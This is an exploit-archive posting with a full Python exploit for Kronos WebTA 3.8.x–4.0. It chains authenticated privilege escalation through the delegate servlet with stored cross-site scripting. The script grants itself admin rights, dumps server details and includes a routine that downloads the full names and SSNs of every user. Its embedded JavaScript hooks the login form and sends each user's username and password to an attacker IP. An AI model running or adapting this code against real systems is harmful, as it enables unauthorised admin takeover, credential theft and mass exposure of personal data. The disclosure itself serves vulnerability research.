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Kronos WebTA 4.0 Privilege Escalation / Cross Site Scripting

Kronos WebTA 4.0 Privilege Escalation / Cross Site Scripting
Posted Feb 5, 2020
Authored by Nolan B. Kennedy

Kronos WebTA version 4.0 suffers from cross site scripting and authenticated remote privilege escalation vulnerabilities.

tags | exploit, remote, vulnerability, xss
advisories | CVE-2020-8493, CVE-2020-8495
MD5 | 3aa449c5ad121978ed635e81dfbb060e

Kronos WebTA 4.0 Privilege Escalation / Cross Site Scripting

Change Mirror Download
#  Exploit Title: Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation
# Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
# Exploit Author: Nolan B. Kennedy (nxkennedy)
# Discovery date: 2019-09-20
# Vendor Homepage: https://www.kronos.com/products/kronos-webta
# Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
# Tested on: Linux
# CVE: (Remote Privesc) CVE-2020-8495 | (Stored XSS) CVE-2020-8493
# Usage: python3 exploit.py http://target

#!/bin/bash/python3

###
# *Exploit requires credentials with Timekeeper or Supervisor privileges
#
# Exploit abuses delegation privs present in the WebTA "/servlet/com.threeis.webta.H491delegate"
# servlet. By specifying the "delegate" and "delegatorUserId" parameter an attacker can use an
# admin user id to delegate role 5 (aka admin privs) to any other known user id, including oneself.
#
# selFunc=add&selRow=&delegate=<ATTACKER>&delegateRole=5&delegatorEmpId=1234&delegatorUserId=<ADMIN>
#
# With our new admin account, we can abuse a stored XSS vulnerability present in the login page,
# banner (displayed on every page) & password reset page. We can also pull system information and
# download a file containing the FULL NAME AND SSN OF EVERY USER in the database (typically thousands).
#
#
# Below is an example of the exploit output:
#####
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper
#
# [+] Available Admin Accounts:
# MOTOKO
# BATOU
# TOGUSA
# ISHIKAWA
#
# [-] Attempting to use account 'MOTOKO' to delegate Admin privs to 'TESTER'...
#
# [+] 'TESTER' successfully elevated to Admin privs :)
#
#
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper, Admin
#
# [+] Webta Version Information
# Site parameter: company
# Licensed modules:WEBTA-LEAVE, WEBTA, WEBTA
# webTA Servlet Version: 3.8.6.79029
# webTA Database Version: 3.8.6.79029
# App Server OS: Linux version 3.10.0-1062.1.1.el7.x86_64 (amd64)
# App Server JDK Version: Oracle Corporation version 1.8.0_222
# App Server Servlet Engine: Apache Tomcat/7.0.76 (Servlet API 3.0)
# App Server JDBC Driver: Oracle JDBC driver version 11.2.0.4.0
# Database Version: Oracle JDBC driver version 11.2.0.4.0
# Database Connection: jdbc:oracle:thin:@//foo.rds.amazonaws.com:1521/webtadb<br>connected as user WEBTASVC
#
# [-] Downloading names and SSNs...
#
# [+] Complete. 5020 users written to file 'WebTA-PII.xls'
# [+] Sample Content:
# USERID,Last Name,First Name,Middle Name,SSN,Supervisor ID,Timekeeper ID,Organization,Pay Period,Active Status,
# MOTOKO,Kusanagi,Major,M.,987-65-4321,ARAMAKI,ARAMAKI,SECTION9,19,Active,
#
# [+] Stored XSS attack complete :)
#####

import re
from requests import Request, Session
from sys import argv, exit




banner = """###
# Kronos WebTA 3.8.x - 4.0 Authenticated Remote Privilege Escalation & Stored XSS Exploit
# Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
# Exploit Author: Nolan B. Kennedy (nxkennedy)
# Discovery date: 20 SEPT 2019
# Vendor Homepage: https://www.kronos.com/products/kronos-webta
# Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
# Tested on: Linux
# CVE: (Remote Privesc) CVE-2020-8494 | (Stored XSS) CVE-2020-8493
# Usage: python3 exploit.py http://target
###"""
base_url = argv[1]
username = "TESTER"
password = "password!1234"
# set to True if you want to also exploit Stored XSS
xss = False
# xss strings can be injected into 3 different 'banner' locations (feel free to modify content)
# WILL NOT ERASE CONTENT ALREADY IN APPLICATION
xss_login_page = """
<script>
/* steals login creds each time a user logs in and forwards them to attacker ip */

var attacker = "192.168.1.3";

/* don't forget to set up a listener (python3 -m http.server 80) */
function stealCreds() {
var username = document.frm[1].value;
var password = document.frm[2].value;
img = new Image();
img.src = "http://"+attacker+"/?"+ "username=" +username+ "&" + "password=" +escape(password);
setTimeout('document.frm.submit();', 1000);
return false;
}

function readyToSteal() {
document.frm.onsubmit = stealCreds;
}

/* special for WebTA because otherwise the script loads before the DOM and password form */
document.addEventListener("DOMContentLoaded", readyToSteal);
</script>
"""
xss_banner_everypage = ""
xss_passwordchange_page = ""
s = Session()
adm_list = []



def web_req(url, data):
print()
req = Request('POST', url, data=data)
prepared = s.prepare_request(req)
resp = s.send(prepared, allow_redirects=True, verify=False)
return resp



def killActiveSession():
url = base_url + "/servlet/com.threeis.webta.H111multipleLogin"
data = {"selFunc":"continue"}
resp = web_req(url, data)



def checkPrivs():
url = base_url + "/servlet/com.threeis.webta.HGateway"
data = {}
resp = web_req(url, data)
html = resp.text
activeSession = roles = re.findall(r'(.*?)You have an active session open at a another browser(.*?)\.', html)
roles = re.findall(r'(.*?)type\="button"(.*?)>', html)
if activeSession:
print("[-] Killing active session...")
killActiveSession()
login()
elif roles:
roles_list = []
for role in roles:
role = role[1].split('"')[1]
roles_list.append(role)
print("[+] Logged in as '{}' with roles: {}".format(username, ', '.join(roles_list)))

else:
print("[!] Account does not have required Timekeeper or Supervisor privs")
exit()



def login():
url = base_url + "/servlet/com.threeis.webta.H110login"
data = {"j_username": username, "j_password": password, "login": "++Log+In++"}
resp = web_req(url, data)
if resp.status_code != 200:
print("[!] Failed login in as '{}'".format(username))
exit()
checkPrivs()



def findAdmins():
url = base_url + "/servlet/com.threeis.webta.H940searchUser"
data = {
"selFunc":"search",
"return_page":"com.threeis.webta.P491delegate",
"return_variable":"delegate",
"search_org":"0",
"search_role":"Administrator",
"actingRole":"2",
"payload_name_0":"selFunc",
"payload_val_0":"search",
"payload_name_1":"selRow",
"payload_name_2":"delegate",
"payload_name_3":"delegateRole",
"payload_val_3":"2",
"payload_name_4":"delegatorEmpId",
"payload_val_4":"15667", # might need a valid user id
"payload_name_5":"delegatorUserId",
"payload_val_5":username,
}
resp = web_req(url, data)
html = resp.text
adm_usrs = re.findall(r'<TD CLASS\="bckGray">(.*?)\n', html)
print("[+] Available Admin Accounts:")
for snip in adm_usrs:
adm = snip.split('</TD><TD CLASS="bckGray">')[2]
adm_list.append(adm)
print(adm)



def privesc():
url = base_url + "/servlet/com.threeis.webta.H491delegate"
data = {
"selFunc":"add",
"delegate":username,
"delegateRole":"5",
"delegatorEmpId":"1234",
"delegatorUserId":adm_list[0],
}
print()
print("[-] Attempting to use account '{}' to delegate Admin privs to '{}'...".format(adm_list[0], username))
resp = web_req(url, data)
print("[+] '{}' successfully elevated to Admin privs :)".format(username))



def storeXSS():
url = base_url + "/servlet/com.threeis.webta.H261configMenu"
data = {'selFunc':'messages'}
### to be covert we want to append our js to the end of * messages/banners already there *
resp = web_req(url, data)
html = resp.text
messages = re.findall(r'<TEXTAREA name\=(.*?)</textarea>', html, re.DOTALL)
messages_clean = []
for message in messages:
message = message.split('wrap="virtual">')[1]
messages_clean.append(message)
login_page = messages_clean[0]
banner_everypage = messages_clean[1]
passwordchange_page = messages_clean[2]

### now we inject our javascript
url = base_url + "/servlet/com.threeis.webta.H201config"
data = {
"selFunc":"save",
"loginMessage": login_page + xss_login_page,
"bannerMessage": banner_everypage + xss_banner_everypage,
"passwordMessage": passwordchange_page + xss_passwordchange_page,
}
resp = web_req(url, data)
print("[+] Stored XSS attack complete :)")



def stealPII():
url = base_url + "/servlet/com.threeis.webta.H287userRoleReport"
data = {
"selFunc":"downloademp",
"roletype":"1",
"orgsel":"0",
"pageNum":"1",
}
print("[-] Downloading names and SSNs...")
resp = web_req(url, data)
filename = "WebTA-PII.xls"
with open(filename, 'wb') as f:
f.write(resp.content)
with open(filename) as f:
for i, l in enumerate(f):
pass
count = i # does not include header
print("[+] Complete. {} users written to file '{}'".format(count, filename))
print("[+] Sample Content:")
with open(filename) as f:
for n in range(2):
print(",".join(f.readline().split("\t")), end="")



def dumpSysInfo():
url = base_url + "/servlet/com.threeis.webta.H200mnuAdmin"
data = {"selFunc":"about"}
resp = web_req(url, data)
html = resp.text
data = re.findall(r'<INPUT VALUE\="(.*?)"', html, re.DOTALL)
print("[+] " + data[0])



if __name__ == '__main__':
print(banner)
login()
findAdmins()
privesc()
login() # login again because we need the refreshed perms after privesc
dumpSysInfo()
#stealPII()
if xss:
storeXSS()
s.close()

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